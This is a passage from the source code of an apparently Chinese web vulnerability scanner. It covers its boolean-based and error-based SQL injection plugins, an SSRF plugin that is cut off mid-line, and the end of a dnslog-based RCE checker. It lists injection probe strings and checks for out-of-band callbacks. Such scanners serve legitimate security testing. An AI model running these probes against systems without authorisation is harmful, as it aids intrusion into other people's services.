| def fetch_dnslog(self, rce_list): 80 | url_web = f'http://dnslog.cn/api/{self.dnslog_key}/*.{self.rce_str}.dnslog.cn/web/' 81 | url_dns = f'http://dnslog.cn/api/{self.dnslog_key}/*.{self.rce_str}.dnslog.cn/dns/' 82 | res_web = requests.get(url_web, timeout=60).text 83 | res_dns = requests.get(url_dns, timeout=60).text 84 | flag = False 85 | for val in rce_list: 86 | if val in res_web or val in res_dns: 87 | self.logger.critical(f'[+] success,fetch vul,{val} has dnslog record') 88 | sql = f"update ssrf set is_vul = 1 where payload='{val}' and vuType=2" 89 | self.db.update(sql) 90 | flag = True 91 | if flag: 92 | items = self.db.get_all( 93 | "select create_time, host, payload, request_data, response from ssrf where to_days(create_time)=to_days(now()) and is_vul=1 and vuType=2") 94 | self.logger.info('[+] #####正在生成RCE漏洞报告#####') 95 | generate_html(items, self.template_name, self.vulType) 96 | self.logger.info('[+] #####RCE漏洞报告生成完成#####') 97 | -------------------------------------------------------------------------------- /lib/plugins/sql_bool.py: -------------------------------------------------------------------------------- 1 | from pymysql.converters import escape_string 2 | from lib.utils.timecalc import get_time 3 | import copy 4 | from lib.utils.CommonLog import CommonLog 5 | from lib.utils.DBUtil import DBUtil 6 | import re 7 | from sklearn.feature_extraction.text import CountVectorizer 8 | from sklearn.preprocessing import StandardScaler 9 | from scipy import spatial 10 | from lib.utils.outputer import generate_html 11 | from lib.rules.enums import VulType 12 | from conf.ConfigFileModifyHandler import Config 13 | 14 | class SQLBool(object): 15 | def __init__(self, wapper, model, content_type): 16 | self.wapper = wapper 17 | self.model = model 18 | self.content_type = content_type 19 | self.logger = CommonLog(__name__).getlog() 20 | self.db = DBUtil() 21 | self.vulType = VulType.SQLI_BOOL_BASE 22 | self.template_name = 'template_sql_bool.html' 23 | self.similar = float(Config.get_instance().get("score.SIMILAR")) 24 | self.cosin_score = int(Config.get_instance().get("score.COSINSCORE")) 25 | self.risk = [0, 1] # 0 疑似,1 确定 26 | self.reportFlag = False 27 | #20220727 优化,当原始包有数据 单引号异常,双引号返回数据为空的情况 28 | self.bool_str_tuple = ('\'', '\'\'','\' \'') 29 | self.bool_str_tuple_second = ("'||x||'", "'||'") 30 | self.bool_str_tuple_third = ("'+x+'", "'+'") if self.content_type == 4 else ("'%2bx%2b'", "'%2b'") 31 | #20220809 优化int类型注入误报,将-0 改为 -0-0 32 | self.bool_int_tuple = ('-ab', '-0-0-0', '-false') 33 | #20221024 将1-x 变为 (1-x) 34 | self.bool_order_tuple = (",(1-xaxfe)", ",(1)",",true") 35 | #20221218 双引号 36 | self.bool_double_quotes_tuple = ('"','""','" "') 37 | self.bool_double_quotes_tuple_second = ('"||x||"', '"||"') 38 | 39 | self.replace_status = Config.get_instance().get("app.REPLACE_STATUS") 40 | self.replace_regex = re.compile(Config.get_instance().get("REPLACE.REGEX")) 41 | self.remove_payload = self.bool_str_tuple + self.bool_str_tuple_second + self.bool_str_tuple_third + self.bool_int_tuple + self.bool_order_tuple + self.bool_double_quotes_tuple + self.bool_double_quotes_tuple_second 42 | 43 | ### 带有随机值干扰 44 | self.bool_rdm = [('\'','\' \'',"'||'"),('-ab','-0-0-0','-false'),(',(1-xaxfe)',',(1)',',true')] 45 | 46 | 47 | def removeRandomContent(self, page): 48 | remove_content = re.sub(self.replace_regex, '',page) 49 | # 替换返回包中的payload为空,降低干扰 50 | for p in self.remove_payload: 51 | remove_content = remove_content.replace(p,'') 52 | return remove_content 53 | 54 | def get_score(self, raw1, raw2): 55 | """ 56 | 获取相似度 57 | :param raw1: 58 | :param raw2: 59 | :return: 60 | """ 61 | # e1 = self.model.encode(raw_1) 62 | # e2 = self.model.encode(raw_2) 63 | # return float(cos_sim(e1, e2)) 64 | return self.model.get_score(repr(raw1),repr(raw2)) 65 | 66 | def no_header(self, raw): 67 | """ 68 | 去掉header 头,保存response body 69 | :param raw: 70 | :return: 71 | """ 72 | r = raw.split('\r\n\r\n', 1)[1] 73 | if r: 74 | if self.replace_status =='YES': 75 | x = self.removeRandomContent(r) 76 | return x 77 | return r 78 | return "empty response" 79 | 80 | def calculation(self,html): 81 | list_num = [] 82 | list_signal = [] 83 | # 步骤一 84 | cv = CountVectorizer() 85 | data = cv.fit_transform(html) 86 | std = StandardScaler() 87 | data_list = std.fit_transform(data.toarray()) 88 | # 步骤二 89 | for line in data_list: 90 | list_num.append(round(spatial.distance.cosine(data_list[0], line), 2)) 91 | num = 0 92 | # 步骤三 93 | for signal in list_num: 94 | if signal != 0: 95 | if 1 / signal * 100 < self.cosin_score: 96 | list_signal.append(num) 97 | num = num + 1 98 | return list_signal 99 | 100 | 101 | def payload_str(self, t, s1, s2): 102 | return str(t) + '
' + str(s1) + ' === ' + str(s2) 103 | 104 | def payload_rdm(self,p): 105 | """ 106 | 带有随机值的 107 | :param p: 108 | :return: 109 | """ 110 | return 'random' + '
' + str(p) 111 | 112 | def no_header_list(self,resp_list): 113 | return list(map(self.no_header,resp_list)) 114 | 115 | #降低部分误报 116 | def func_equal(self,*args): 117 | # 所有值都相等返回False 118 | if len(set(args))==1: 119 | return False 120 | # 否则返回True 121 | return True 122 | 123 | @get_time 124 | def scan(self, request_data): 125 | self.logger.info('[*] SQL BOOL 注入探测插件启动') 126 | req_raw_first, resp_raw_first = self.wapper.generate_request_for_first(request_data) 127 | resp_raw_first_no_header = self.no_header(resp_raw_first) 128 | false_request_list = self.wapper.generate_request_data_list(copy.deepcopy(request_data), self.bool_str_tuple[0], 129 | 1) 130 | true_request_list = self.wapper.generate_request_data_list(copy.deepcopy(request_data), self.bool_str_tuple[1], 131 | 1) 132 | true_request_list_1 = self.wapper.generate_request_data_list(copy.deepcopy(request_data), self.bool_str_tuple[2], 133 | 1) 134 | false_request_list_2 = self.wapper.generate_request_data_list(copy.deepcopy(request_data), 135 | self.bool_str_tuple_second[0], 1) 136 | true_request_list_2 = self.wapper.generate_request_data_list(copy.deepcopy(request_data), 137 | self.bool_str_tuple_second[1], 1) 138 | false_request_list_3 = self.wapper.generate_request_data_list(copy.deepcopy(request_data), 139 | self.bool_str_tuple_third[0], 1) 140 | true_request_list_3 = self.wapper.generate_request_data_list(copy.deepcopy(request_data), 141 | self.bool_str_tuple_third[1], 1) 142 | falst_request_intlist4 = self.wapper.generate_request_data_list(copy.deepcopy(request_data), 143 | self.bool_int_tuple[0], 1) 144 | true_request_intlist4 = self.wapper.generate_request_data_list(copy.deepcopy(request_data), 145 | self.bool_int_tuple[1], 1) 146 | true_request_intlist_4_1 = self.wapper.generate_request_data_list(copy.deepcopy(request_data), 147 | self.bool_int_tuple[2], 1) 148 | false_request_orderlist5 = self.wapper.generate_request_data_list(copy.deepcopy(request_data), 149 | self.bool_order_tuple[0], 1) 150 | true_request_orderlist5 = self.wapper.generate_request_data_list(copy.deepcopy(request_data), 151 | self.bool_order_tuple[1], 1) 152 | true_request_orderlist5_1 = self.wapper.generate_request_data_list(copy.deepcopy(request_data), 153 | self.bool_order_tuple[2], 1) 154 | 155 | false_request_double_quotes_list = self.wapper.generate_request_data_list(copy.deepcopy(request_data), self.bool_double_quotes_tuple[0], 156 | 1) 157 | true_request_double_quotes_list = self.wapper.generate_request_data_list(copy.deepcopy(request_data), self.bool_double_quotes_tuple[1], 158 | 1) 159 | true_request_double_quotes_list_1 = self.wapper.generate_request_data_list(copy.deepcopy(request_data), self.bool_double_quotes_tuple[2], 160 | 1) 161 | false_request_double_quotes_list_2 = self.wapper.generate_request_data_list(copy.deepcopy(request_data), 162 | self.bool_double_quotes_tuple_second[0], 1) 163 | true_request_double_quotes_list_2 = self.wapper.generate_request_data_list(copy.deepcopy(request_data), 164 | self.bool_double_quotes_tuple_second[1], 1) 165 | 166 | 167 | for false_request, true_request, true_request_1 ,false_request_2, true_request_2, false_request_3, true_request_3, false_request_4, true_request_4, true_request_4_1, false_request_5, true_request_5, true_request_5_1,false_request_double_quotes,true_request_double_quotes, true_request_double_quotes_1,false_request_double_quotes_2,true_request_double_quotes_2 in zip( 168 | false_request_list, true_request_list,true_request_list_1, 169 | false_request_list_2, 170 | true_request_list_2, false_request_list_3, true_request_list_3, falst_request_intlist4, 171 | true_request_intlist4, true_request_intlist_4_1, false_request_orderlist5, true_request_orderlist5,true_request_orderlist5_1,false_request_double_quotes_list,true_request_double_quotes_list,true_request_double_quotes_list_1,false_request_double_quotes_list_2,true_request_double_quotes_list_2): 172 | strFlag = False 173 | intFlag = False 174 | orderFlag = False 175 | strdouble_quotesFlag = False 176 | 177 | false_response = self.wapper.generateResponse(self.wapper.processRequest(false_request)) 178 | true_response = self.wapper.generateResponse(self.wapper.processRequest(true_request)) 179 | true_response_1 = self.wapper.generateResponse(self.wapper.processRequest(true_request_1)) 180 | false_score = self.get_score(self.no_header(false_response), resp_raw_first_no_header) 181 | true_score = self.get_score(self.no_header(true_response), resp_raw_first_no_header) 182 | true_score_1 = self.get_score(self.no_header(true_response_1), resp_raw_first_no_header) 183 | true_score_1_2 = self.get_score(self.no_header(true_response),self.no_header(true_response_1)) # 比较'' 和 ' ' 184 | false_score_1_2 = self.get_score(self.no_header(true_response),self.no_header(false_response)) # 比较' 和 '' 185 | verify_equal = self.func_equal(self.no_header(true_response),self.no_header(true_response_1),self.no_header(false_response)) 186 | # 进行第一步判断 ', '' 187 | if (false_score <= self.similar and true_score > self.similar) or (false_score <= self.similar and true_score_1 > self.similar) or (false_score <= self.similar and true_score_1_2 >self.similar and false_score_1_2<=self.similar and verify_equal): 188 | self.reportFlag = True 189 | strFlag = True 190 | # 进行第二次判断确认 191 | false_response_2 = self.wapper.generateResponse(self.wapper.processRequest(false_request_2)) 192 | true_response_2 = self.wapper.generateResponse(self.wapper.processRequest(true_request_2)) 193 | false_score_2 = self.get_score(self.no_header(false_response_2), resp_raw_first_no_header) 194 | true_score_2 = self.get_score(self.no_header(true_response_2), resp_raw_first_no_header) 195 | if false_score_2 <= self.similar and true_score_2 > self.similar: 196 | self.logger.critical( 197 | '[+] 确认存在Bool(str)型SQL注入,false_score={}, true_score={}'.format(false_score_2, true_score_2)) 198 | self.db.save( 199 | "insert into sql_bool (`host`,`first_req`,`first_resp`,`bool_true_req`,`bool_true_resp`, `bool_false_req`, `bool_false_resp`, `payload`, risk) VALUES ('{}','{}','{}','{}','{}','{}','{}','{}',{})".format( 200 | request_data['host'], escape_string(req_raw_first), escape_string(resp_raw_first), 201 | escape_string(self.wapper.generateRequest(true_request_2)), escape_string(true_response_2), 202 | escape_string(self.wapper.generateRequest(false_request_2)), 203 | escape_string(false_response_2), 204 | escape_string(self.payload_str(self.bool_str_tuple_second, false_score_2, true_score_2)),1)) 205 | else: 206 | false_response_3 = self.wapper.generateResponse(self.wapper.processRequest(false_request_3)) 207 | true_response_3 = self.wapper.generateResponse(self.wapper.processRequest(true_request_3)) 208 | false_score_3 = self.get_score(self.no_header(false_response_3), resp_raw_first_no_header) 209 | true_score_3 = self.get_score(self.no_header(true_response_3), resp_raw_first_no_header) 210 | if false_score_3 <= self.similar and true_score_3 > self.similar: 211 | self.reportFlag = True 212 | self.logger.critical( 213 | '[+] 确认存在Bool(str)型SQL注入,false_score={}, true_score={}'.format(false_score_3, true_score_3)) 214 | self.db.save( 215 | "insert into sql_bool (`host`,`first_req`,`first_resp`,`bool_true_req`,`bool_true_resp`, `bool_false_req`, `bool_false_resp`, `payload`, risk) VALUES ('{}','{}','{}','{}','{}','{}','{}','{}',{})".format( 216 | request_data['host'], escape_string(req_raw_first), escape_string(resp_raw_first), 217 | escape_string(self.wapper.generateRequest(true_request_3)), 218 | escape_string(true_response_3), 219 | escape_string(self.wapper.generateRequest(false_request_3)), 220 | escape_string(false_response_3), 221 | escape_string(self.payload_str(self.bool_str_tuple_third, false_score_3, true_score_3)),1)) 222 | else: 223 | self.reportFlag = True 224 | self.logger.critical( 225 | '[+] 疑似存在Bool(str)型SQL注入,false_score={}, true_score={}, true_score_1={}, true_score_1_2={}'.format(false_score, true_score,true_score_1,true_score_1_2)) 226 | self.db.save( 227 | "insert into sql_bool (`host`,`first_req`,`first_resp`,`bool_true_req`,`bool_true_resp`, `bool_false_req`, `bool_false_resp`, `payload`, risk) VALUES ('{}','{}','{}','{}','{}','{}','{}','{}',{})".format( 228 | request_data['host'], escape_string(req_raw_first), escape_string(resp_raw_first), 229 | escape_string(self.wapper.generateRequest(true_request)), escape_string(true_response), 230 | escape_string(self.wapper.generateRequest(false_request)), 231 | escape_string(false_response), 232 | escape_string(self.payload_str(self.bool_str_tuple, false_score, true_score)+" === " +str(true_score_1) +" === " +str(true_score_1_2)),0)) 233 | 234 | else: 235 | false_response_4 = self.wapper.generateResponse(self.wapper.processRequest(false_request_4)) 236 | true_response_4 = self.wapper.generateResponse(self.wapper.processRequest(true_request_4)) 237 | false_score_4 = self.get_score(self.no_header(false_response_4), resp_raw_first_no_header) 238 | true_score_4 = self.get_score(self.no_header(true_response_4), resp_raw_first_no_header) 239 | # 20230112 优化 int 的漏报 240 | true_response_4_1 = self.wapper.generateResponse(self.wapper.processRequest(true_request_4_1)) 241 | true_score_4_1 = self.get_score(self.no_header(true_response_4_1), resp_raw_first_no_header) 242 | true_ture_score = self.get_score(self.no_header(true_response_4_1), self.no_header(true_response_4)) 243 | true_false_score = self.get_score(self.no_header(true_response_4_1),self.no_header(false_response_4)) 244 | #self.logger.info( 245 | # 'test,false_score={}, true_score={}'.format(false_score_4, true_ture_score)) 246 | #print(str(false_score_4)+'---'+str(true_score_4)) 247 | if (false_score_4 <= self.similar and true_score_4 > self.similar) or (false_score_4 <= self.similar and true_ture_score>self.similar and true_false_score self.similar: 254 | self.logger.critical( 255 | '[+] 确定存在Bool(int)型SQL注入,false_score={}, true_score={}'.format(false_score_4, true_score_4)) 256 | self.db.save( 257 | "insert into sql_bool (`host`,`first_req`,`first_resp`,`bool_true_req`,`bool_true_resp`, `bool_false_req`, `bool_false_resp`, `payload`, risk) VALUES ('{}','{}','{}','{}','{}','{}','{}','{}',{})".format( 258 | request_data['host'], escape_string(req_raw_first), escape_string(resp_raw_first), 259 | escape_string(self.wapper.generateRequest(true_request_4_1)), 260 | escape_string(true_response_4_1), 261 | escape_string(self.wapper.generateRequest(false_request_4)), 262 | escape_string(false_response_4), 263 | escape_string(self.payload_str(self.bool_int_tuple, false_score_4, true_score_4_1)),1)) 264 | else: 265 | self.logger.critical( 266 | '[+] 疑似存在Bool(int)型SQL注入,false_score={}, true_score={}, true_true_score={}'.format(false_score_4, true_score_4,true_ture_score)) 267 | self.db.save( 268 | "insert into sql_bool (`host`,`first_req`,`first_resp`,`bool_true_req`,`bool_true_resp`, `bool_false_req`, `bool_false_resp`, `payload`, risk) VALUES ('{}','{}','{}','{}','{}','{}','{}','{}',{})".format( 269 | request_data['host'], escape_string(req_raw_first), escape_string(resp_raw_first), 270 | escape_string(self.wapper.generateRequest(true_request_4)), 271 | escape_string(true_response_4), 272 | escape_string(self.wapper.generateRequest(false_request_4)), 273 | escape_string(false_response_4), 274 | escape_string( 275 | self.payload_str(self.bool_int_tuple, false_score_4, true_score_4) + " === " + str(true_ture_score) + " -> " + str(self.bool_int_tuple[1]) +":::" + str(self.bool_int_tuple[2]) 276 | ),0)) 277 | 278 | #if strFlag == False and intFlag == False: 279 | if len(set({strFlag, intFlag})) == 1: 280 | false_response_5 = self.wapper.generateResponse(self.wapper.processRequest(false_request_5)) 281 | true_response_5 = self.wapper.generateResponse(self.wapper.processRequest(true_request_5)) 282 | false_score_5 = self.get_score(self.no_header(false_response_5), resp_raw_first_no_header) 283 | true_score_5 = self.get_score(self.no_header(true_response_5), resp_raw_first_no_header) 284 | if false_score_5 <= self.similar and true_score_5 > self.similar: 285 | self.reportFlag = True 286 | orderFlag = True 287 | # 进行第二次判断确认 288 | true_response_5_1 = self.wapper.generateResponse(self.wapper.processRequest(true_request_5_1)) 289 | true_score_5_1 = self.get_score(self.no_header(true_response_5_1), resp_raw_first_no_header) 290 | if true_score_5_1 > self.similar: 291 | self.logger.critical( 292 | '[+] 确定存在Bool(order)型SQL注入,false_score={}, true_score={}'.format(false_score_5, true_score_5)) 293 | self.db.save( 294 | "insert into sql_bool (`host`,`first_req`,`first_resp`,`bool_true_req`,`bool_true_resp`, `bool_false_req`, `bool_false_resp`, `payload`, risk) VALUES ('{}','{}','{}','{}','{}','{}','{}','{}',{})".format( 295 | request_data['host'], escape_string(req_raw_first), escape_string(resp_raw_first), 296 | escape_string(self.wapper.generateRequest(true_request_5_1)), 297 | escape_string(true_response_5_1), 298 | escape_string(self.wapper.generateRequest(false_request_5)), 299 | escape_string(false_response_5), 300 | escape_string(self.payload_str(self.bool_order_tuple, false_score_5, true_score_5_1)),1)) 301 | 302 | else: 303 | self.logger.critical( 304 | '[+] 疑似存在Bool(order)型SQL注入,false_score={}, true_score={}'.format(false_score_5, true_score_5)) 305 | self.db.save( 306 | "insert into sql_bool (`host`,`first_req`,`first_resp`,`bool_true_req`,`bool_true_resp`, `bool_false_req`, `bool_false_resp`, `payload`, risk) VALUES ('{}','{}','{}','{}','{}','{}','{}','{}',{})".format( 307 | request_data['host'], escape_string(req_raw_first), escape_string(resp_raw_first), 308 | escape_string(self.wapper.generateRequest(true_request_5)), 309 | escape_string(true_response_5), 310 | escape_string(self.wapper.generateRequest(false_request_5)), 311 | escape_string(false_response_5), 312 | escape_string( 313 | self.payload_str(self.bool_order_tuple, false_score_5, true_score_5)),0)) 314 | 315 | if len(set({strFlag, intFlag, orderFlag})) == 1: 316 | false_response_double_quotes = self.wapper.generateResponse(self.wapper.processRequest(false_request_double_quotes)) 317 | true_response_double_quotes = self.wapper.generateResponse(self.wapper.processRequest(true_request_double_quotes)) 318 | true_response_double_quotes_1 = self.wapper.generateResponse(self.wapper.processRequest(true_request_double_quotes_1)) 319 | false_score_double_quotes = self.get_score(self.no_header(false_response_double_quotes), resp_raw_first_no_header) 320 | true_score_double_quotes = self.get_score(self.no_header(true_response_double_quotes), resp_raw_first_no_header) 321 | true_score_double_quotes_1 = self.get_score(self.no_header(true_response_double_quotes_1), resp_raw_first_no_header) 322 | true_score_double_quotes_1_2 = self.get_score(self.no_header(true_response_double_quotes), 323 | self.no_header(true_response_double_quotes_1)) # 比较"" 和 " " 324 | false_score_double_quotes_1_2 = self.get_score(self.no_header(true_response_double_quotes), 325 | self.no_header(false_response_double_quotes)) # 比较" 和 "" 326 | 327 | verify_double_equal = self.func_equal(self.no_header(true_response_double_quotes),self.no_header(true_response_double_quotes_1),self.no_header(false_response_double_quotes)) 328 | if (false_score_double_quotes <= self.similar and true_score_double_quotes > self.similar) or ( 329 | false_score_double_quotes <= self.similar and true_score_double_quotes_1 > self.similar) or ( 330 | false_score_double_quotes <= self.similar and true_score_double_quotes_1_2 > self.similar and false_score_double_quotes_1_2 <= self.similar and verify_double_equal): 331 | self.reportFlag = True 332 | strdouble_quotesFlag = True 333 | # 进行第二次判断确认 334 | false_response_double_quotes_2 = self.wapper.generateResponse(self.wapper.processRequest(false_request_double_quotes_2)) 335 | true_response_double_quotes_2 = self.wapper.generateResponse(self.wapper.processRequest(true_request_double_quotes_2)) 336 | false_score_double_quotes_2 = self.get_score(self.no_header(false_response_double_quotes_2), resp_raw_first_no_header) 337 | true_score_double_quotes_2 = self.get_score(self.no_header(true_response_double_quotes_2), resp_raw_first_no_header) 338 | if false_score_double_quotes_2 <= self.similar and true_score_double_quotes_2 > self.similar: 339 | self.logger.critical( 340 | '[+] 确认存在Bool(str double_quotes)型SQL注入,false_score={}, true_score={}'.format(false_score_double_quotes_2, true_score_double_quotes_2)) 341 | self.db.save( 342 | "insert into sql_bool (`host`,`first_req`,`first_resp`,`bool_true_req`,`bool_true_resp`, `bool_false_req`, `bool_false_resp`, `payload`, risk) VALUES ('{}','{}','{}','{}','{}','{}','{}','{}',{})".format( 343 | request_data['host'], escape_string(req_raw_first), escape_string(resp_raw_first), 344 | escape_string(self.wapper.generateRequest(true_request_double_quotes_2)), 345 | escape_string(true_response_double_quotes_2), 346 | escape_string(self.wapper.generateRequest(false_request_double_quotes_2)), 347 | escape_string(false_response_double_quotes_2), 348 | escape_string( 349 | self.payload_str(self.bool_double_quotes_tuple_second, false_score_double_quotes_2, true_score_double_quotes_2)), 1)) 350 | else: 351 | self.reportFlag = True 352 | self.logger.critical( 353 | '[+] 疑似存在Bool(str double_quotes)型SQL注入,false_score={}, true_score={}, true_score_1={}, true_score_1_2={}'.format(false_score_double_quotes, true_score_double_quotes,true_score_double_quotes_1,true_score_double_quotes_1_2)) 354 | self.db.save( 355 | "insert into sql_bool (`host`,`first_req`,`first_resp`,`bool_true_req`,`bool_true_resp`, `bool_false_req`, `bool_false_resp`, `payload`, risk) VALUES ('{}','{}','{}','{}','{}','{}','{}','{}',{})".format( 356 | request_data['host'], escape_string(req_raw_first), escape_string(resp_raw_first), 357 | escape_string(self.wapper.generateRequest(true_request_double_quotes)), escape_string(true_response_double_quotes), 358 | escape_string(self.wapper.generateRequest(false_request_double_quotes)), 359 | escape_string(false_response_double_quotes), 360 | escape_string(self.payload_str(self.bool_double_quotes_tuple, false_score_double_quotes, true_score_double_quotes)+" === " +str(true_score_double_quotes_1) +" === " +str(true_score_double_quotes_1_2)),0)) 361 | 362 | 363 | if len(set({strFlag, intFlag, orderFlag, strdouble_quotesFlag})) == 1: 364 | req_raw_repeat, resp_raw_repeat = self.wapper.generate_request_for_first(request_data) 365 | if resp_raw_first_no_header != self.no_header(resp_raw_repeat): 366 | resp = self.wapper.generateResponse(self.wapper.processRequest(true_request_2)) # '||' 367 | bool_str_list = self.no_header_list([resp_raw_first,false_response,true_response,resp,resp_raw_repeat]) 368 | if self.calculation(bool_str_list) == [1]: 369 | self.reportFlag = True 370 | self.logger.critical('[+] RANDOM -> 疑似存在Bool(str)型SQL注入') 371 | self.db.save("insert into sql_bool (host , first_req,first_resp,bool_true_req, bool_true_resp, payload, risk) values ('{}','{}','{}','{}','{}','{}','{}')".format(request_data['host'],escape_string(req_raw_first), escape_string(resp_raw_first),escape_string(self.wapper.generateRequest(true_request_2)), escape_string(resp), escape_string(self.payload_rdm(self.bool_rdm[0])), 0)) 372 | else: 373 | resp_1 = self.wapper.generateResponse(self.wapper.processRequest(false_request_4)) # '-x' 374 | resp_2 = self.wapper.generateResponse(self.wapper.processRequest(true_request_4)) # '-0' 375 | resp_3 = self.wapper.generateResponse(self.wapper.processRequest(true_request_4_1)) # -false 376 | bool_int_list = self.no_header_list([resp_raw_first,resp_1, resp_2, resp_3,resp_raw_repeat]) 377 | if self.calculation(bool_int_list) == [1]: 378 | self.reportFlag = True 379 | self.logger.critical('[+] RANDOM -> 疑似存在Bool(int)型SQL注入') 380 | self.db.save( 381 | "insert into sql_bool (host , first_req,first_resp,bool_true_req, bool_true_resp, payload, risk) values ('{}','{}','{}','{}','{}','{}','{}')".format( 382 | request_data['host'],escape_string(req_raw_first), escape_string(resp_raw_first),escape_string(self.wapper.generateRequest(true_request_4_1)), escape_string(resp_3), escape_string(self.payload_rdm(self.bool_rdm[1])), 0)) 383 | else: 384 | resp_o_1 = self.wapper.generateResponse(self.wapper.processRequest(false_request_5)) # ',1-x' 385 | resp_o_2 = self.wapper.generateResponse(self.wapper.processRequest(true_request_5)) # ',1' 386 | resp_o_3 = self.wapper.generateResponse(self.wapper.processRequest(true_request_5_1)) # ',true' 387 | bool_order_list = self.no_header_list([resp_raw_first, resp_o_1, resp_o_2, resp_o_3,resp_raw_repeat]) 388 | if self.calculation(bool_order_list) == [1]: 389 | self.reportFlag = True 390 | self.logger.critical('[+] RANDOM -> 疑似存在Bool(order)型SQL注入') 391 | self.db.save( 392 | "insert into sql_bool (host ,first_req,first_resp, bool_true_req, bool_true_resp, payload, risk) values ('{}','{}','{}','{}','{}','{}','{}')".format( 393 | request_data['host'],escape_string(req_raw_first), escape_string(resp_raw_first),escape_string(self.wapper.generateRequest(true_request_5_1)), escape_string(resp_o_3), escape_string(self.payload_rdm(self.bool_rdm[2])), 0)) 394 | 395 | if self.reportFlag: 396 | self.fetch_sql() 397 | self.logger.info('[*] SQL BOOL注入探测完成') 398 | 399 | 400 | 401 | def fetch_sql(self): 402 | sql = 'select `create_time` ,`host`,`risk` ,`payload`, `bool_true_req`, `bool_true_resp` from sql_bool where to_days(create_time)=to_days(now())' 403 | items = self.db.get_all(sql) 404 | self.logger.info('[+] #####正在生成SQL BOOL注入漏洞报告#####') 405 | generate_html(items, self.template_name, self.vulType) 406 | self.logger.info('[+] #####SQL BOOL注入漏洞报告生成完成#####') 407 | -------------------------------------------------------------------------------- /lib/plugins/sql_error.py: -------------------------------------------------------------------------------- 1 | from pymysql.converters import escape_string 2 | from lib.utils.outputer import generate_html 3 | from lib.utils.timecalc import get_time 4 | from lib.utils.DBUtil import DBUtil 5 | from lib.rules.rules_sqli import Get_sql_errors 6 | from lib.rules.enums import VulType 7 | from lib.utils.CommonLog import CommonLog 8 | import copy 9 | 10 | class SQLError(object): 11 | def __init__(self, wapper): 12 | self.wapper = wapper 13 | self.db = DBUtil() 14 | self.logger = CommonLog(__name__).getlog() 15 | self.vulType = VulType.SQLI_ERROR_BASE 16 | self.template_name = 'template_sql_error.html' 17 | self.sql_error = Get_sql_errors() 18 | self.error_sql_list = ['\'','"','%df\''] 19 | self.error_sql_list_length = len(self.error_sql_list) 20 | self.sql_index = [] 21 | self.request_count = 0 22 | 23 | @get_time 24 | def scan(self,request_data): 25 | #first_request_data, first_req_raw = self.wapper.generate_request_for_first(request_data) 26 | #self.wapper.processRequest(first_request_data) 27 | self.logger.info('[*] SQL报错注入探测插件启动') 28 | flag = False 29 | for error_sql_str in self.error_sql_list: 30 | request_data_copy = copy.deepcopy(request_data) 31 | gen_list = self.wapper.generate_request_data_list(request_data_copy, error_sql_str, 1) 32 | for index, val in enumerate(gen_list): 33 | if index not in self.sql_index: # 判断是否是存在的index 下标,不是才探测。保证同一个参数如果有探测到sql之后,后面就不探测这个参数 34 | resp = self.wapper.processRequest(val) 35 | resp_raw = self.wapper.generateResponse(resp) 36 | self.request_count += 1 37 | for sql_regex, dbms_type in self.sql_error: 38 | match = sql_regex.search(resp_raw) 39 | if match: 40 | flag = True 41 | self.sql_index.append(index) # 如果该请求包判断存在注入,就加入list,下次不探测这个index 42 | self.logger.critical('[+] 发现SQL报错注入, {}'.format(match.group())) 43 | self.db.save("insert into sql_error(`request_data`, `response`, `host`, `dbms`) values ('{}', '{}', '{}', '{}')".format(escape_string(self.wapper.generateRequest(val)), escape_string(resp_raw), val['host'], dbms_type)) 44 | break 45 | 46 | if flag: 47 | self.fetch_sql() 48 | self.logger.info('[*] SQL注入探测完成, 共发送 {} 个请求'.format(self.request_count)) 49 | 50 | 51 | def fetch_sql(self): 52 | sql = 'select `create_time`, `host`, `dbms`, `request_data`, `response` from sql_error where to_days(create_time)=to_days(now())' 53 | items = self.db.get_all(sql) 54 | self.logger.info('[+] #####正在生成SQL报错注入漏洞报告#####') 55 | generate_html(items, self.template_name, self.vulType) 56 | self.logger.info('[+] #####SQL报错注入漏洞报告生成完成#####') 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | -------------------------------------------------------------------------------- /lib/plugins/ssrf.py: -------------------------------------------------------------------------------- 1 | import uuid 2 | from conf.ConfigFileModifyHandler import Config 3 | import copy 4 | import json 5 | from lib.utils.DBUtil import DBUtil 6 | import requests 7 | from lib.utils.CommonLog import CommonLog 8 | from pymysql.converters import escape_string 9 | from lib.utils.outputer import generate_html 10 | from lib.utils.timecalc import get_time 11 | from lib.rules.enums import VulType 12 | 13 | 14 | class SSRF(object): 15 | def __init__(self, wapper): 16 | self.wapper = wapper 17 | self.ssrf_str = 'ssrf' 18 | self.db = DBUtil() 19 | self.dnslog_key = Config.get_instance().get("app.SSRF_API_KEY") 20 | self.logger = CommonLog(__name__).getlog() 21 | self.template_name = 'template_ssrf.html' 22 | self.vulType = VulType.SSRF 23 | 24 | # def generate_request_data_list(self, request_data): 25 | # type = request_data['content_type'] 26 | # param_url_dict = request_data['param_in_url'] 27 | # param_body_dict = request_data['param_in_body'] 28 | # # json_body_dict = request_data['body'] 29 | # request_data_list = [] 30 | # copy_data = copy.deepcopy(request_data) 31 | # if type == 4: 32 | # for i in self.wapper.updateJsonObjectFromStr(param_url_dict, self.ssrf_str, 2): 33 | # request_data['param_in_url'] = i 34 | # try: 35 | # request_data['body'] = json.loads(request_data['body']) 36 | # except: 37 | # pass 38 | # request_data_list.append(copy.deepcopy(request_data)) 39 | # 40 | # for j in self.wapper.updateJsonObjectFromStr(json.loads(copy_data['body']), self.ssrf_str, 41 | # 2): 42 | # copy_data['body'] = j 43 | # request_data_list.append(copy.deepcopy(copy_data)) 44 | # return request_data_list 45 | # else: 46 | # for i in self.wapper.updateJsonObjectFromStr(param_url_dict, self.ssrf_str, 2): 47 | # request_data['param_in_url'] = i 48 | # # print(request_data) 49 | # request_data_list.append(copy.deepcopy(request_data)) 50 | # 51 | # for j in self.wapper.updateJsonObjectFromStr(param_body_dict, self.ssrf_str, 2): 52 | # copy_data['param_in_body'] = j 53 | # request_data_list.append(copy.deepcopy(copy_data)) 54 | # return request_data_list 55 | 56 | @get_time 57 | def scan(self, request_data): 58 | self.logger.info('[*] SSRF探测插件启动') 59 | #gen_list = self.generate_request_data_list(request_data) 60 | gen_list = self.wapper.generate_request_data_list(request_data, self.ssrf_str, 2) 61 | #print(gen_list) 62 | # for i in gen_list: 63 | # self.wapper.processRequest(i) 64 | for i, val in enumerate(gen_list): 65 | resp = self.wapper.processRequest(val) 66 | resp_raw = self.wapper.generateResponse(resp) 67 | req_raw = self.wapper.generateRequest(val) 68 | sql = f"insert into ssrf(`payload`,`request_data`,`response`,`host`,`vuType`) VALUES ('{self.wapper.ssrf_list[i]}', 